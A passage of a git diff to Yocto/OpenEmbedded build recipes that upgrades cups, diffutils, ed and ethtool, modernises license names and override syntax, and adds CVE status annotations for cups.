+ install -m 0755 ${WORKDIR}/crond.init ${D}${sysconfdir}/init.d/crond
+
+ # install systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/crond.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/crond.service
+
+ # below are necessary for a complete cron environment
+ install -d ${D}${localstatedir}/spool/cron
+ install -m 0755 ${WORKDIR}/crontab ${D}${sysconfdir}/
+ mkdir -p ${D}${sysconfdir}/cron.d
+ mkdir -p ${D}${sysconfdir}/cron.hourly
+ mkdir -p ${D}${sysconfdir}/cron.daily
+ mkdir -p ${D}${sysconfdir}/cron.weekly
+ mkdir -p ${D}${sysconfdir}/cron.monthly
+ touch ${D}${sysconfdir}/cron.deny
+
+ # below setting is necessary to allow normal user using crontab
+
+ # setgid for crontab binary
+ chown root:crontab ${D}${bindir}/crontab
+ chmod 2755 ${D}${bindir}/crontab
+
+ # allow 'crontab' group write to /var/spool/cron
+ chown root:crontab ${D}${localstatedir}/spool/cron
+ chmod 770 ${D}${localstatedir}/spool/cron
+
+ chmod 600 ${D}${sysconfdir}/crontab
+}
+
+FILES:${PN} += "${sysconfdir}/cron*"
+CONFFILES:${PN} += "${sysconfdir}/crontab"
diff --git a/meta/recipes-extended/cups/cups.inc b/meta/recipes-extended/cups/cups.inc
index 1765944568..b70ba3ae58 100644
--- a/meta/recipes-extended/cups/cups.inc
+++ b/meta/recipes-extended/cups/cups.inc
@@ -6,66 +6,68 @@ document types."
HOMEPAGE = "https://www.cups.org/"
SECTION = "console/utils"
LICENSE = "Apache-2.0"
-DEPENDS = "gnutls libpng jpeg dbus zlib libusb1"
+DEPENDS = "libpng jpeg dbus zlib libusb1"
-SRC_URI = "https://github.com/apple/cups/releases/download/v${PV}/${BP}-source.tar.gz \
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/cups-${PV}-source.tar.gz \
file://0001-use-echo-only-in-init.patch \
file://0002-don-t-try-to-run-generated-binaries.patch \
- file://0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch \
+ file://libexecdir.patch \
file://0004-cups-fix-multilib-install-file-conflicts.patch \
file://volatiles.99_cups \
file://cups-volatiles.conf \
"
-UPSTREAM_CHECK_URI = "https://github.com/apple/cups/releases"
-UPSTREAM_CHECK_REGEX = "cups-(?P<pver>\d+\.\d+(\.\d+)?)-source.tar"
+GITHUB_BASE_URI = "https://github.com/OpenPrinting/cups/releases"
+
+CVE_STATUS[CVE-2008-1033] = "not-applicable-platform: Issue only applies to MacOS"
+CVE_STATUS[CVE-2009-0032] = "cpe-incorrect: Issue affects pdfdistiller plugin used with but not part of cups"
+CVE_STATUS[CVE-2018-6553] = "not-applicable-platform: This is an Ubuntu only issue"
+CVE_STATUS[CVE-2022-26691] = "fixed-version: This is fixed in 2.4.2 but the cve-check class still reports it"
+CVE_STATUS[CVE-2021-25317] = "not-applicable-config: This concerns /var/log/cups having lp ownership, our /var/log/cups is root:root, so this doesn't apply."
LEAD_SONAME = "libcupsdriver.so"
CLEANBROKEN = "1"
-inherit autotools-brokensep binconfig useradd systemd pkgconfig multilib_script
+inherit autotools-brokensep binconfig useradd systemd pkgconfig multilib_script github-releases
USERADD_PACKAGES = "${PN}"
-GROUPADD_PARAM_${PN} = "--system lpadmin"
+GROUPADD_PARAM:${PN} = "--system lpadmin"
-SYSTEMD_SERVICE_${PN} = "org.cups.cupsd.socket org.cups.cupsd.path org.cups.cupsd.service org.cups.cups-lpd.socket"
+SYSTEMD_SERVICE:${PN} = "cups.socket cups.path cups.service cups-lpd.socket"
PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'zeroconf', 'avahi', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)}"
-PACKAGECONFIG[avahi] = "--enable-avahi,--disable-avahi,avahi"
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd', d)} \
+ openssl \
+"
+PACKAGECONFIG[avahi] = "--with-dnssd=avahi,--with-dnssd=no,avahi"
PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl"
+PACKAGECONFIG[gnutls] = "--with-tls=gnutls,,gnutls,,,openssl"
+PACKAGECONFIG[openssl] = "--with-tls=openssl,,openssl,,,gnutls"
PACKAGECONFIG[pam] = "--enable-pam --with-pam-module=unix, --disable-pam, libpam"
PACKAGECONFIG[systemd] = "--with-systemd=${systemd_system_unitdir},--without-systemd,systemd"
PACKAGECONFIG[xinetd] = "--with-xinetd=${sysconfdir}/xinetd.d,--without-xinetd,xinetd"
+PACKAGECONFIG[webif] = "--enable-webif,--disable-webif"
EXTRA_OECONF = " \
- --enable-gnutls \
--enable-dbus \
+ --with-dbusdir=${sysconfdir}/dbus-1 \
--enable-browsing \
--disable-gssapi \
--enable-debug \
--disable-relro \
--enable-libusb \
+ --with-system-groups=lpadmin,root,sys,wheel \
+ --with-cups-group=lp \
+ --with-domainsocket=/run/cups/cups.sock \
+ --with-pkgconfpath=${libdir}/pkgconfig \
DSOFLAGS='${LDFLAGS}' \
"
EXTRA_AUTORECONF += "--exclude=autoheader"
-do_compile () {
- echo "all:" > man/Makefile
- echo "libs:" >> man/Makefile
- echo "install:" >> man/Makefile
- echo "install-data:" >> man/Makefile
- echo "install-exec:" >> man/Makefile
- echo "install-headers:" >> man/Makefile
- echo "install-libs:" >> man/Makefile
-
- oe_runmake
-}
-
do_install () {
- oe_runmake "DSTROOT=${D}" install
+ oe_runmake "BUILDROOT=${D}" install
# Remove /var/run from package as cupsd will populate it on startup
rm -fr ${D}/${localstatedir}/run
@@ -73,7 +75,7 @@ do_install () {
rmdir ${D}/${libexecdir}/${BPN}/driver
# Fix the pam configuration file permissions
- if ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'true', 'false', d)}; then
+ if ${@bb.utils.contains('PACKAGECONFIG', 'pam', 'true', 'false', d)}; then
chmod 0644 ${D}${sysconfdir}/pam.d/cups
fi
@@ -91,27 +93,25 @@ do_install () {
fi
}
-PACKAGES =+ "${PN}-lib ${PN}-libimage"
+PACKAGES =+ "${PN}-lib ${PN}-libimage ${PN}-webif"
-RDEPENDS_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
-FILES_${PN} += "${libexecdir}/cups/ \
- "
+RDEPENDS:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'procps', '', d)}"
+FILES:${PN} += "${libexecdir}/cups/"
-FILES_${PN}-lib = "${libdir}/libcups.so.*"
+FILES:${PN}-lib = "${libdir}/libcups.so.*"
-FILES_${PN}-libimage = "${libdir}/libcupsimage.so.*"
+FILES:${PN}-libimage = "${libdir}/libcupsimage.so.*"
-#package the html for the webgui inside the main packages (~1MB uncompressed)
+# put the html for the web interface into its own PACKAGE
+FILES:${PN}-webif += "${datadir}/doc/cups/ ${datadir}/icons/"
+RRECOMMENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'webif', '${PN}-webif', '', d)}"
-FILES_${PN} += "${datadir}/doc/cups/images \
- ${datadir}/doc/cups/*html \
- ${datadir}/doc/cups/*.css \
- ${datadir}/icons/ \
- "
-CONFFILES_${PN} += "${sysconfdir}/cups/cupsd.conf"
+CONFFILES:${PN} += "${sysconfdir}/cups/cupsd.conf"
MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/cups-config"
+LOCALE_PATHS += "${datadir}/cups/templates"
+
SYSROOT_PREPROCESS_FUNCS += "cups_sysroot_preprocess"
cups_sysroot_preprocess () {
sed -i ${SYSROOT_DESTDIR}${bindir_crossscripts}/cups-config -e 's:cups_datadir=.*:cups_datadir=${datadir}/cups:' -e 's:cups_serverbin=.*:cups_serverbin=${libexecdir}/cups:'
diff --git a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
index ea248e4710..2bc26edbfc 100644
--- a/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
+++ b/meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch
@@ -26,48 +26,6 @@ index 32e2e0b..f1478d4 100644
#
-@@ -205,9 +205,9 @@ ppdc-static: ppdc.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC) foo.drv foo-fr.po
- $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o ppdc-static ppdc.o libcupsppdc.a \
- $(LINKCUPSSTATIC)
- $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
-- echo Testing PPD compiler...
-- ./ppdc-static -l en,fr -I ../data foo.drv
-- ./ppdc-static -l en,fr -z -I ../data foo.drv
-+# echo Testing PPD compiler...
-+# ./ppdc-static -l en,fr -I ../data foo.drv
-+# ./ppdc-static -l en,fr -z -I ../data foo.drv
-
-
- #
-@@ -235,17 +235,17 @@ ppdi-static: ppdc-static ppdi.o libcupsppdc.a ../cups/$(LIBCUPSSTATIC)
- $(LD_CXX) $(ARCHFLAGS) $(ALL_LDFLAGS) -o ppdi-static ppdi.o libcupsppdc.a \
- $(LINKCUPSSTATIC)
- $(CODE_SIGN) -s "$(CODE_SIGN_IDENTITY)" $@
-- echo Testing PPD importer...
-- $(RM) -r ppd ppd2 sample-import.drv
-- ./ppdc-static -l en -I ../data sample.drv
-- ./ppdi-static -I ../data -o sample-import.drv ppd/*
-- ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
-- if diff -r ppd ppd2 >/dev/null; then \
-- echo PPD import OK; \
-- else \
-- echo PPD import FAILED; \
-- exit 1; \
-- fi
-+# echo Testing PPD importer...
-+# $(RM) -r ppd ppd2 sample-import.drv
-+# ./ppdc-static -l en -I ../data sample.drv
-+# ./ppdi-static -I ../data -o sample-import.drv ppd/*
-+# ./ppdc-static -l en -I ../data -d ppd2 sample-import.drv
-+# if diff -r ppd ppd2 >/dev/null; then \
-+# echo PPD import OK; \
-+# else \
-+# echo PPD import FAILED; \
-+# exit 1; \
-+# fi
-
-
- #
--
2.17.1
diff --git a/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch b/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch
deleted file mode 100644
index b48c7a9ad2..0000000000
--- a/meta/recipes-extended/cups/cups/0003-cups_1.4.6.bb-Fix-build-on-ppc64.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 66c2079ae91389ee0f9d704bf0d2cccd53b2c603 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 22 Jul 2012 16:54:17 -0700
-Subject: [PATCH 3/4] cups_1.4.6.bb: Fix build on ppc64
-
-Make CUPS_SERVERBIN relative to libdir otherwise on 64bit arches
-e.g. ppc64 where base libdir is lib64 this does not go well
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Inappropriate [OE config specific]
-
-Update on 20190904:
-Redefine CUPS_SERVERBIN to "$libexecdir/cups" which solves file confliction
-when multilib is enabled.
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
----
- config-scripts/cups-directories.m4 | 2 +-
- configure | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4
-index b74083a..9a5abb2 100644
---- a/config-scripts/cups-directories.m4
-+++ b/config-scripts/cups-directories.m4
-@@ -270,7 +270,7 @@ case "$host_os_name" in
- *)
- # All others
- INSTALL_SYSV="install-sysv"
-- CUPS_SERVERBIN="$exec_prefix/lib/cups"
-+ CUPS_SERVERBIN="$libexecdir/cups"
- ;;
- esac
-
-diff --git a/configure b/configure
-index d3df145..bc68a6c 100755
---- a/configure
-+++ b/configure
-@@ -6420,7 +6420,7 @@ case "$host_os_name" in
- *)
- # All others
- INSTALL_SYSV="install-sysv"
-- CUPS_SERVERBIN="$exec_prefix/lib/cups"
-+ CUPS_SERVERBIN="$libexecdir/cups"
- ;;
- esac
-
---
-2.17.1
-
diff --git a/meta/recipes-extended/cups/cups/libexecdir.patch b/meta/recipes-extended/cups/cups/libexecdir.patch
new file mode 100644
index 0000000000..7ccad94f0f
--- /dev/null
+++ b/meta/recipes-extended/cups/cups/libexecdir.patch
@@ -0,0 +1,35 @@
+From 1724f7bcdbcfdb445778f8a2e530c5c094c18c10 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Tue, 13 Jul 2021 12:56:30 +0100
+Subject: [PATCH] Use $libexecdir instead of hardcoding $prefix/lib as this
+ breaks multilib builds.
+
+Upstream-Status: Pending
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+---
+ config-scripts/cups-directories.m4 | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/config-scripts/cups-directories.m4 b/config-scripts/cups-directories.m4
+index 2033d47..230166e 100644
+--- a/config-scripts/cups-directories.m4
++++ b/config-scripts/cups-directories.m4
+@@ -239,7 +239,7 @@ AC_SUBST([CUPS_REQUESTS])
+ AS_CASE(["$host_os_name"], [*-gnu], [
+ # GNUs
+ INSTALL_SYSV="install-sysv"
+- CUPS_SERVERBIN="$exec_prefix/lib/cups"
++ CUPS_SERVERBIN="$libexecdir/cups"
+ ], [*bsd* | darwin*], [
+ # *BSD and Darwin (macOS)
+ INSTALL_SYSV=""
+@@ -247,7 +247,7 @@ AS_CASE(["$host_os_name"], [*-gnu], [
+ ], [*], [
+ # All others
+ INSTALL_SYSV="install-sysv"
+- CUPS_SERVERBIN="$exec_prefix/lib/cups"
++ CUPS_SERVERBIN="$libexecdir/cups"
+ ])
+
+ AC_DEFINE_UNQUOTED([CUPS_SERVERBIN], ["$CUPS_SERVERBIN"], [Location of server programs.])
diff --git a/meta/recipes-extended/cups/cups_2.3.3.bb b/meta/recipes-extended/cups/cups_2.3.3.bb
deleted file mode 100644
index 5caeb6f58b..0000000000
--- a/meta/recipes-extended/cups/cups_2.3.3.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-require cups.inc
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
-
-SRC_URI[md5sum] = "412434ceefbdf3ec71bc9188a035f589"
-SRC_URI[sha256sum] = "261fd948bce8647b6d5cb2a1784f0c24cc52b5c4e827b71d726020bcc502f3ee"
diff --git a/meta/recipes-extended/cups/cups_2.4.7.bb b/meta/recipes-extended/cups/cups_2.4.7.bb
new file mode 100644
index 0000000000..f4b0282e4c
--- /dev/null
+++ b/meta/recipes-extended/cups/cups_2.4.7.bb
@@ -0,0 +1,5 @@
+require cups.inc
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRC_URI[sha256sum] = "dd54228dd903526428ce7e37961afaed230ad310788141da75cebaa08362cf6c"
diff --git a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
index 65a99fc28d..0e155b6c95 100644
--- a/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
+++ b/meta/recipes-extended/cwautomacros/cwautomacros_20110201.bb
@@ -1,7 +1,8 @@
SUMMARY = "Collection of autoconf m4 macros"
SECTION = "base"
HOMEPAGE = "http://sourceforge.net/projects/cwautomacros.berlios/"
-LICENSE = "GPLv2"
+DESCRIPTION = "A collection of autoconf macros, plus an autogen.sh script that can be used with them."
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=eb723b61539feef013de476e68b5c50a"
SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}.berlios/${BP}.tar.bz2"
@@ -13,7 +14,7 @@ do_configure() {
}
do_install() {
- oe_runmake CWAUTOMACROSPREFIX=${D}${prefix} install
+ oe_runmake LABEL=`date -d @${SOURCE_DATE_EPOCH} +%Y%m%d` CWAUTOMACROSPREFIX=${D}${prefix} install
# cleanup buildpaths in autogen.sh
sed -i -e 's,${D},,g' ${D}${prefix}/share/cwautomacros/scripts/autogen.sh
diff --git a/meta/recipes-extended/diffutils/diffutils.inc b/meta/recipes-extended/diffutils/diffutils.inc
index c9e3130587..194d6e5a1b 100644
--- a/meta/recipes-extended/diffutils/diffutils.inc
+++ b/meta/recipes-extended/diffutils/diffutils.inc
@@ -7,7 +7,7 @@ SECTION = "base"
inherit autotools texinfo update-alternatives gettext
-ALTERNATIVE_${PN} = "diff cmp"
+ALTERNATIVE:${PN} = "diff cmp"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch b/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
index aac1c43465..32793233f9 100644
--- a/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
+++ b/meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch
@@ -1,4 +1,4 @@
-From bd7fb8be2ae2d75347cf7733302d5093046ffa85 Mon Sep 17 00:00:00 2001
+From f31395c931bc633206eccfcfaaaa5d15021a3e86 Mon Sep 17 00:00:00 2001
From: Peiran Hong <peiran.hong@windriver.com>
Date: Thu, 5 Sep 2019 15:42:22 -0400
Subject: [PATCH] Skip strip-trailing-cr test case
@@ -10,26 +10,20 @@ package.
Upstream-Status: Inappropriate [embedded specific]
Signed-off-by: Peiran Hong <peiran.hong@windriver.com>
+
---
- tests/Makefile.am | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
+ tests/Makefile.am | 1 -
+ 1 file changed, 1 deletion(-)
diff --git a/tests/Makefile.am b/tests/Makefile.am
-index 83a7c9d..04d51b5 100644
+index 79bacfb..4adb4d7 100644
--- a/tests/Makefile.am
+++ b/tests/Makefile.am
-@@ -21,8 +21,10 @@ TESTS = \
+@@ -22,7 +22,6 @@ TESTS = \
stdin \
strcoll-0-names \
filename-quoting \
- strip-trailing-cr \
- colors
-+# Skipping this test since it requires valgrind
-+# and thus is too heavy for diffutils package
-+# strip-trailing-cr
-
- XFAIL_TESTS = large-subopt
-
---
-2.21.0
-
+ timezone \
+ colors \
+ y2038-vs-32bit
diff --git a/meta/recipes-extended/diffutils/diffutils_3.10.bb b/meta/recipes-extended/diffutils/diffutils_3.10.bb
new file mode 100644
index 0000000000..08e8305612
--- /dev/null
+++ b/meta/recipes-extended/diffutils/diffutils_3.10.bb
@@ -0,0 +1,43 @@
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+require diffutils.inc
+
+SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \
+ file://run-ptest \
+ file://0001-Skip-strip-trailing-cr-test-case.patch \
+ "
+
+SRC_URI[sha256sum] = "90e5e93cc724e4ebe12ede80df1634063c7a855692685919bfe60b556c9bd09e"
+
+EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix"
+
+# latest gnulib is no longer able to handle this - I dare not try to fix that maze of abstractions and generators
+CFLAGS:mingw32 = " -DSA_RESTART=0"
+
+# Fix "Argument list too long" error when len(TMPDIR) = 410
+acpaths = "-I ./m4"
+
+EXTRA_OEMAKE:append:mingw32 = " LIBS='-lbcrypt'"
+inherit ptest
+
+RDEPENDS:${PN}-ptest += "make perl"
+
+do_install_ptest() {
+ t=${D}${PTEST_PATH}
+ install -D ${S}/build-aux/test-driver $t/build-aux/test-driver
+ cp -r ${S}/tests $t/
+ install ${B}/tests/Makefile $t/tests/
+ sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -e 's|^Makefile:|_Makefile:|' \
+ -e 's|bash|sh|' \
+ -e 's|^top_srcdir = \(.*\)|top_srcdir = ..\/|' \
+ -e 's|^srcdir = \(.*\)|srcdir = .|' \
+ -e 's|"`$(built_programs)`"|diff|' \
+ -e 's|gawk|awk|g' \
+ -i $t/tests/Makefile
+}
diff --git a/meta/recipes-extended/diffutils/diffutils_3.7.bb b/meta/recipes-extended/diffutils/diffutils_3.7.bb
deleted file mode 100644
index 8111ae6065..0000000000
--- a/meta/recipes-extended/diffutils/diffutils_3.7.bb
+++ /dev/null
@@ -1,40 +0,0 @@
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-require diffutils.inc
-
-SRC_URI = "${GNU_MIRROR}/diffutils/diffutils-${PV}.tar.xz \
- file://run-ptest \
- file://0001-Skip-strip-trailing-cr-test-case.patch \
-"
-
-SRC_URI[md5sum] = "4824adc0e95dbbf11dfbdfaad6a1e461"
-SRC_URI[sha256sum] = "b3a7a6221c3dc916085f0d205abf6b8e1ba443d4dd965118da364a1dc1cb3a26"
-
-EXTRA_OECONF += "ac_cv_path_PR_PROGRAM=${bindir}/pr --without-libsigsegv-prefix"
-
-# Fix "Argument list too long" error when len(TMPDIR) = 410
-acpaths = "-I ./m4"
-
-inherit ptest
-
-RDEPENDS_${PN}-ptest += "make perl"
-
-do_install_ptest() {
- t=${D}${PTEST_PATH}
- install -D ${S}/build-aux/test-driver $t/build-aux/test-driver
- cp -r ${S}/tests $t/
- install ${B}/tests/Makefile $t/tests/
- sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- -e 's|^Makefile:|_Makefile:|' \
- -e 's|bash|sh|' \
- -e 's|^top_srcdir = \(.*\)|top_srcdir = ..\/|' \
- -e 's|^srcdir = \(.*\)|srcdir = .|' \
- -e 's|"`$(built_programs)`"|diff|' \
- -e 's|gawk|awk|g' \
- -i $t/tests/Makefile
-}
diff --git a/meta/recipes-extended/ed/ed_1.16.bb b/meta/recipes-extended/ed/ed_1.16.bb
deleted file mode 100644
index f383007b59..0000000000
--- a/meta/recipes-extended/ed/ed_1.16.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "Line-oriented text editor"
-HOMEPAGE = "http://www.gnu.org/software/ed/"
-
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=0c7051aef9219dc7237f206c5c4179a7 \
- file://ed.h;endline=20;md5=0226a8dd88c76afba773f2f0f7c83f5e \
- file://main.c;endline=17;md5=ebd4aff86dc9fa5027d55bc5191746b9 \
- "
-
-SECTION = "base"
-
-CVE_PRODUCT = "gnu:ed"
-
-# LSB states that ed should be in /bin/
-bindir = "${base_bindir}"
-
-# Upstream regularly removes previous releases from https://ftp.gnu.org/gnu/ed/
-SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz"
-UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/"
-
-SRC_URI[md5sum] = "ab480d982289064ca040bc5c75fceffd"
-SRC_URI[sha256sum] = "cfc07a14ab048a758473ce222e784fbf031485bcd54a76f74acfee1f390d8b2c"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS="
-
-inherit texinfo
-
-do_configure() {
- ${S}/configure
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' install
- # Info dir listing isn't interesting at this point so remove it if it exists.
- if [ -e "${D}${infodir}/dir" ]; then
- rm -f ${D}${infodir}/dir
- fi
-}
diff --git a/meta/recipes-extended/ed/ed_1.20.1.bb b/meta/recipes-extended/ed/ed_1.20.1.bb
new file mode 100644
index 0000000000..9ae53002c3
--- /dev/null
+++ b/meta/recipes-extended/ed/ed_1.20.1.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Line-oriented text editor"
+HOMEPAGE = "http://www.gnu.org/software/ed/"
+DESCRIPTION = "GNU ed is a line-oriented text editor. It is used to create, display, modify and otherwise manipulate text files, both interactively and via shell scripts. A restricted version of ed, red, can only edit files in the current directory and cannot execute shell commands."
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
+ file://ed.h;endline=20;md5=c3212b6c53b09668107420af9368c0ef \
+ file://main.c;endline=17;md5=e5d2ae5ddd1ecb87dc71702c06dd06dc \
+ "
+
+SECTION = "base"
+
+CVE_PRODUCT = "gnu:ed"
+
+# LSB states that ed should be in /bin/
+bindir = "${base_bindir}"
+
+# Upstream regularly removes previous releases from https://ftp.gnu.org/gnu/ed/
+SRC_URI = "${GNU_MIRROR}/ed/${BP}.tar.lz"
+UPSTREAM_CHECK_URI = "${GNU_MIRROR}/ed/"
+
+SRC_URI[sha256sum] = "b1a463b297a141f9876c4b1fcd01477f645cded92168090e9a35db2af4babbca"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS="
+
+inherit texinfo
+
+do_configure() {
+ ${S}/configure
+}
+
+do_install() {
+ oe_runmake 'DESTDIR=${D}' install
+ # Info dir listing isn't interesting at this point so remove it if it exists.
+ if [ -e "${D}${infodir}/dir" ]; then
+ rm -f ${D}${infodir}/dir
+ fi
+}
diff --git a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
index 8ecfde1417..69df8632f2 100644
--- a/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
+++ b/meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch
@@ -1,4 +1,4 @@
-From 1c6c017e56ec536f5cceacdb02092777d390debb Mon Sep 17 00:00:00 2001
+From 758fde7186730ee331a0ee6149276cd412766ee0 Mon Sep 17 00:00:00 2001
From: Tudor Florea <tudor.florea@enea.com>
Date: Wed, 28 May 2014 18:59:54 +0200
Subject: [PATCH] ethtool: use serial-tests config needed by ptest.
@@ -15,12 +15,12 @@ Upstream-Status: Inappropriate
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 1169b7f..ed82524 100644
+index c871558..8ea1eaa 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -2,7 +2,7 @@ dnl Process this file with autoconf to produce a configure script.
- AC_INIT(ethtool, 5.7, netdev@vger.kernel.org)
+@@ -3,7 +3,7 @@ AC_INIT(ethtool, 6.7, netdev@vger.kernel.org)
AC_PREREQ(2.52)
+ AC_CONFIG_MACRO_DIR([m4])
AC_CONFIG_SRCDIR([ethtool.c])
-AM_INIT_AUTOMAKE([gnu subdir-objects])
+AM_INIT_AUTOMAKE([gnu subdir-objects serial-tests])
diff --git a/meta/recipes-extended/ethtool/ethtool_5.7.bb b/meta/recipes-extended/ethtool/ethtool_5.7.bb
deleted file mode 100644
index d9fc30cb55..0000000000
--- a/meta/recipes-extended/ethtool/ethtool_5.7.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "Display or change ethernet card settings"
-DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces."
-HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/"
-SECTION = "console/network"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216"
-
-SRC_URI = "${KERNELORG_MIRROR}/software/network/ethtool/ethtool-${PV}.tar.gz \
- file://run-ptest \
- file://avoid_parallel_tests.patch \
- "
-
-SRC_URI[sha256sum] = "c2e16f8bf510c5822f8e25061c2533972308a421767c54abcacb1038b08bb782"
-
-UPSTREAM_CHECK_URI = "https://www.kernel.org/pub/software/network/ethtool/"
-
-inherit autotools ptest bash-completion pkgconfig
-
-RDEPENDS_${PN}-ptest += "make"
-
-PACKAGECONFIG ?= "netlink"
-PACKAGECONFIG[netlink] = "--enable-netlink,--disable-netlink,libmnl,"
-
-do_compile_ptest() {
- oe_runmake buildtest-TESTS
-}
-
-do_install_ptest () {
- cp ${B}/Makefile ${D}${PTEST_PATH}
- install ${B}/test-cmdline ${D}${PTEST_PATH}
- install ${B}/test-features ${D}${PTEST_PATH}
- install ${B}/ethtool ${D}${PTEST_PATH}/ethtool
- sed -i 's/^Makefile/_Makefile/' ${D}${PTEST_PATH}/Makefile
-}
diff --git a/meta/recipes-extended/ethtool/ethtool_6.7.bb b/meta/recipes-extended/ethtool/ethtool_6.7.bb
new file mode 100644
index 0000000000..33df0e0e80
--- /dev/null
+++ b/meta/recipes-extended/ethtool/ethtool_6.7.bb
@@ -0,0 +1,37 @@
+SUMMARY = "Display or change ethernet card settings"
+DESCRIPTION = "A small utility for examining and tuning the settings of your ethernet-based network interfaces."
+HOMEPAGE = "http://www.kernel.org/pub/software/network/ethtool/"
+SECTION = "console/network"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://ethtool.c;beginline=4;endline=17;md5=c19b30548c582577fc6b443626fc1216"
+
+SRC_URI = "${KERNELORG_MIRROR}/software/network/ethtool/ethtool-${PV}.tar.gz \
+ file://run-ptest \
+ file://avoid_parallel_tests.patch \
+ "
+
